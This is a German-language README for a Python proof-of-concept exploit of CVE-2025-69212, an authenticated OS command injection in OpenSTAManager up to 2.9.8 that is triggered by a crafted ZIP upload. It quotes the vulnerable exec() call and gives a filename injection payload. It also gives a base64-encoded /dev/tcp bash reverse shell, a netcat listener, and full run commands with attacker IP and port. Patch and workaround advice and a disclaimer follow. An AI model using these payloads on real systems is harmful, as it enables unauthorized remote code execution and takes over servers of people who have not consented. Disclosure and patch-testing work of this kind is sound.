
Python poc, exploit for CVE-2025-69212
Proof-of-Concept-Exploit für CVE-2025-69212, eine OS-Kommandoinjektions-Schwachstelle in OpenSTAManager <= 2.9.8, die es einem authentifizierten Angreifer ermöglicht, Remote-Codeausführung über einen manipulierten ZIP-Datei-Upload zu erreichen.
Die Schwachstelle befindet sich in src/Util/XML.php in Zeile ~100, wo die Anwendung einen benutzergesteuerten Dateinamen direkt ohne Bereinigung in einen Shell-exec()-Aufruf übergibt:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
Wenn ein ZIP-Archiv über das importFE_ZIP-Plugin (/actions.php) hochgeladen wird, extrahiert die Anwendung das ZIP und übergibt den Dateinamen jedes .p7m-Eintrags an exec(). Ein Angreifer kann ein ZIP mit einem bösartigen Dateinamen erstellen, der aus dem doppelt zitierten Argument ausbricht und beliebige Shell-Befehle injiziert.
Injektions-Payload (Dateiname):
invoice.p7m";<COMMAND>;echo ".p7m
Resultierende Shell-Ausführung:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ injected here
Hinweis: Der Schrägstrich
/kann nicht direkt im Dateinamen erscheinen, daZipArchive::extractTo()ihn als Pfadtrennzeichen behandelt. Der PoC umgeht dies, indem er die Reverse-Shell-Payload base64-kodiert.
requests-Bibliotheknc)Abhängigkeiten installieren:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Route through Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m-Datei, deren Dateiname den injizierten Befehl enthält.bash -i >& /dev/tcp/LHOST/LPORT 0>&1) wird base64-kodiert, um Schrägstriche im Dateinamen zu vermeiden./actions.php über das importFE_ZIP-Plugin.exec() und löst die Reverse Shell aus.Aktualisieren Sie auf OpenSTAManager 2.9.9 oder höher, das Dateinamen bereinigt, bevor sie an Shell-Befehle übergeben werden.
Falls ein sofortiges Patchen nicht möglich ist, deaktivieren Sie das importFE_ZIP-Plugin oder schränken Sie den Zugriff auf /actions.php auf vertrauenswürdige Benutzer ein.
Dieses Tool ist ausschließlich für autorisiertes Sicherheitstesten und Bildungszwecke bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Erlaubnis zum Testen haben. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören, ist illegal und unethisch. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
| Argument | Erforderlich | Beschreibung |
|---|
-u, --url | Ja | Ziel-Basis-URL (z. B. http://target.htb) |
-U, --username | Ja | OpenSTAManager-Benutzername |
-P, --password | Ja | OpenSTAManager-Passwort |
--lhost | Ja | Ihre IP-Adresse für die Reverse Shell |
--lport | Ja | Ihren Listening-Port für die Reverse Shell |
--proxy | Nein | HTTP-Proxy (z. B. http://127.0.0.1:8080) |